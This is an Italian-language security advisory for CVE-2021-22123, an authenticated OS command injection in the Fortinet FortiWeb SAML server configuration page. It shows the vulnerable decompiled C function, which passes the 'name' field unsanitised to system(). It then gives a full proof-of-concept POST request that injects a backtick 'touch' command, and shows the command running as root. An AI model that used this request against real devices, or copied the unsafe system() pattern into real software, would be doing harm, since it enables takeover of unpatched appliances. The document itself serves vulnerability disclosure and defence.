
[CVE-2021-22123] Fortinet FortiWeb Iniezione di comandi del sistema operativo autenticata
[CVE-2021-22123] Iniezione di comandi del sistema operativo autenticata in Fortinet FortiWeb
Hit Counter
La vulnerabilità di iniezione di comandi nell'interfaccia di gestione di FortiWeb potrebbe consentire a un attaccante remoto autenticato di eseguire comandi arbitrari sul sistema tramite la pagina di configurazione del server SAML. L'esecuzione di comandi con privilegi massimi consentirà all'attaccante di ottenere il pieno controllo del server. Si tratta di un'istanza di CWE-78: Improper Neutralization of Special Elements used in an OS Command con un punteggio base CVSSv3 di 8.7. Questa vulnerabilità è identificata con il numero CVE-2021-22123 ed è stata affrontata nella pagina del laboratorio Fortiguard (FG-IR-20-120).
In sostanza, SAML sta per Security Assertion Markup Language ed è uno standard aperto basato su XML per trasferire dati di identità tra due parti: un provider di identità (IdP) e un provider di servizi (SP). È progettato per garantire il funzionamento di un meccanismo di Single Sign-On, che consente di accedere a vari prodotti software utilizzando un unico identificatore.
FortiWeb tutte le versioni precedenti alla 6.3.7 e inferiori sono vulnerabili alla vulnerabilità di iniezione di comandi del sistema operativo autenticata. Lo sfruttamento riuscito di questa vulnerabilità può portare al controllo completo del dispositivo interessato, con i più alti privilegi possibili. L'attaccante potrebbe installare una shell persistente, software di crypto mining o altro software dannoso. Nell'improbabile evenienza che l'interfaccia di gestione sia esposta a Internet, potrebbe utilizzare la piattaforma compromessa per raggiungere la rete interessata oltre la DMZ.
Un attaccante, autenticatosi prima all'interfaccia di gestione del dispositivo FortiWeb, può introdurre comandi utilizzando backtick nel campo name della pagina di configurazione del server SAML. Questi comandi vengono poi eseguiti come utente root del sistema operativo sottostante. La parte vulnerabile del codice è illustrata di seguito.
int move_metafile(char * path, char * name) {
int iVar1;
char buf[512];
int nret;
snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = access(buf, 0);
if (iVar1 != 0) {
snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
"Metadata", & DAT_00212758);
iVar1 = system(buf);
return iVar1;
}
Proof of Concept (PoC): La seguente richiesta POST può essere utilizzata per sfruttare questa vulnerabilità.
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}
Infine, i risultati del comando 'touch' possono essere visualizzati sulla riga di comando locale del dispositivo FortiWeb.
/# ls -l /tmp/CVE-2021-22123
-rw-r--r-- 1 root 0 0 Aug 10 15:48 /tmp/CVE-2021-22123
Riferimenti: